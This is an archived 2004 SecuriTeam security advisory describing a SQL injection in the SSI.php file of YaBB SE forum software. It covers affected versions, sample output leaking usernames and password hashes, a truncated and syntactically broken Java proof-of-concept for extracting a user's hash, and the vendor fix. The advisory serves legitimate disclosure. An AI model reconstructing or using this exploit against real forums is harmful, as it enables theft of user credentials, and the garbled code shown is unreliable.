[UNIX] Yabb SE SQL Injection Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 01/22/04

  • Next message: SecuriTeam: "[UNIX] Unofficial Patch for Qmail Crash After Long SMTP Session"
    To: list@securiteam.com
    Date: 22 Jan 2004 17:28:38 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.

    - - - - - - - - -

      Yabb SE SQL Injection Vulnerability


     <http://www.yabbse.org/> YaBB SE is a PHP/MySQL port of the popular forum
    software YaBB (yet another bulletin board).

    An SQL injection vulnerability allows a remote attacker to execute
    malicious SQL statements on the database remotely.


    Vulnerable Systems:
     * YaBB SE versions 1.5.3, 1.5.4, possibly others

    Immune Systems:
     * YaBB SE version 1.5.5

    The file SSI.php has a number of functions that return some information
    about the status of the forum like recent topics, boards statistics and so
    on. Functions 'welcome' and 'recentTopics' are vulnerable to SQL injection
    because the parameter ID_MEMBER is not checked against malicious input.




    Those requests return a page showing all usernames and hashed passwords.

    [General Discussion] test post by test January 01, 2001, 03:00:01 pm
    [] admin by [hashed pass] January 01, 1970, 01:00:01 am
    [] test_user by [hashed pass] January 01, 1970, 01:00:02 am


    This request return the value of the first character from the realName of
    the user whose ID_MEMBER is 1.

    Proof-of-Concept code:
    A proof-of-concept code is available demonstrating the problem.

    * YabbSe SQL Injection test code
    * The code is very ugly but it works OK
    * Use at your own risk.
    * compile:
    * javac yabb.java
    * exec:
    * java yabb http://localhost/yabbse/yabbse154/ yabbse_ 1
    * parameters are:
    * java yabb [url with path] [database_prefix] [ID_MEMBER]
    import java.net.*;
    import java.io.*;

    public class yabb {
      public static void main(String[] args) throws Exception {

    boolean lastChar = false;
    String Key = "";

        for ( int count=1; count < = 32 ; count++)
     URL yabbForum = new URL(args[0] +

     BufferedReader in = new BufferedReader(new

     String inputLine;

     inputLine = in.readLine();

     int pos = inputLine.indexOf("action=im");
     int pos2 = inputLine.indexOf(" ", pos + 11);

     if ( pos < 0 )
     System.out.println("ERROR: The server doesn't return any data");

     String theNumber = inputLine.substring( pos + 11, pos2);

     System.out.println(theNumber + "-" + new
     Key += new
    System.out.println("Hashed password : " + Key);

    Vendor Status:
    The vendor was contacted and the vulnerabilities were fixed. Upgrade to
    version 1.5.5.


    The information has been provided by <mailto:backspace_2k@terra.es>


    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com


    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[UNIX] Unofficial Patch for Qmail Crash After Long SMTP Session"